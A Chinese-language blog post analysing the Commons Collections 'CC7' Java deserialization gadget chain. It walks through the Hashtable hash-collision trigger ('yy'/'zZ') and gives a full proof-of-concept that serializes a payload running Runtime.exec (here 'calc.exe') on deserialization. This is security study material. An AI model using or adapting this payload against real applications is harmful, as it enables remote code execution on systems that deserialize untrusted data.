CC7分析

CommonsCollections7

利用链

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

分析

Hashtable

image-20240910015458113

这个readObject方法前面就是简单的读取JAVA类里面的序列化数据这里值得注意的是我们

Entry是一个数据结构,这个类里存放了key和value,是许多map和set的底层数据结构

所以我们就来看看这个重要的for循环,这里面从序列化的数据流里面读取我们的key和value,这里肯定就是要使用put方法

hashtable.reconstitutionPut

    reconstitutionPut(table, key, value);

刚看到这个的想法就是,把key和value写入Entry这个数据结构里面,进入reconsrtitutionPut

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
    }

这里我们的视角就该锁定在for循环这里,因为我们当时学其他链子的时候hash方法是很常用的 ,这里进入for循环的条件就是tab这个数组里面的值不能为零,执行循环,每次table的值都是上一次的键值,所以我们这里进行两次put方法。

然后就来说说这个if判断语句

 if ((e.hash == hash) && e.key.equals(key))

e.hash==hash,这里存在着布尔短路的特性,就是if语句中前一个条件不成立会自动结束判断条件,所以为了这里能够触发equals,需要滿足前一个条件,我们首先得知道这个e到底是什么,

Entry e = tab[index] ; e != null ; e = e.next

这里只能看出e是一个Entry类型,继续看看这个index是什么

int index = (hash & 0x7FFFFFFF) % tab.length

大概意思就是先计算出 keyhash 值, index 就是个索引,通过索引得到 table 里面的 hashmap 值,这个 next 是个 null 。

找到计算hashcode的地方

image-20240909175843917

我们找到两个hash值相同的,官方的是yy和Zz

因为调用链是使用LazyMap.get方法,所以实际上我们实现调用的equal方法是lazymap.equal,但是lazymap是没有这个方法的,所以我们直接找到父类

AbstractMapDecorator#equals

image-20240909181007233

再进入AbstractMap#equals

image-20240909180650146

显然这里需要我们的m是LazyMap,完成LazyMap.get,这里通过getKey方法就完成了对get方法的调用。

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.AbstractMap;
import java.lang.String;

public class cc7 {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformers = new Transformer[] {};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };


        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC.cc7.bin"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC.cc7.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

POC分析和调试

Put方法问题解决

我们上面的poc运行的时候会发现一个致命的问题,就是我们不能rce了

image-20240909183624459

很显然这里提前调用了get方法,将yy写入了里面,然后导致了我们的transformer无法传入

poc里面是存在put方法的,我们在学习CC6的时候为了避免put方法提前触发RCE


        Transformer[] fakeTransformers = new Transformer[] {};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };
     Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们就让他先为空,后面反射修改就好

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

然后就是实例化一个hashmap类,put两个相同的值进去,再传入hashtable里面

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers

最后还要remove掉yy,应为如果不去掉的话,就会触发HashMap.get方法

image-20240909203916887

这样的话就不会触发transform方法,断掉了链子。

lazyMap2.remove("yy");

fakeTransformer

image-20240909210733124

image-20240909210750250

这里为了防止触发两次rce,这里的put方法会和之前的equals方法重合,调用里面的transform方法,所以我们这里可以先设置一个空的Transformer,规避进行put方法调用transform达到RCE。

哈希碰撞分析

这里首先来到hashcode的调用点

image-20240910014311308

然后进入AbstractMapDecotor#hashcoe

image-20240910014454136

因为这个类是继承于HashMap这个类,所以我们跟进hashmap.hashcode

image-20240910014607978

继续跟进就发现这个是在String.java里面的

image-20240910014658291

yy=31*121+121=3872
zZ=3872
zZ^1=3873
posted @ 2024-09-10 01:53  tammy66  阅读(38)  评论(0)    收藏  举报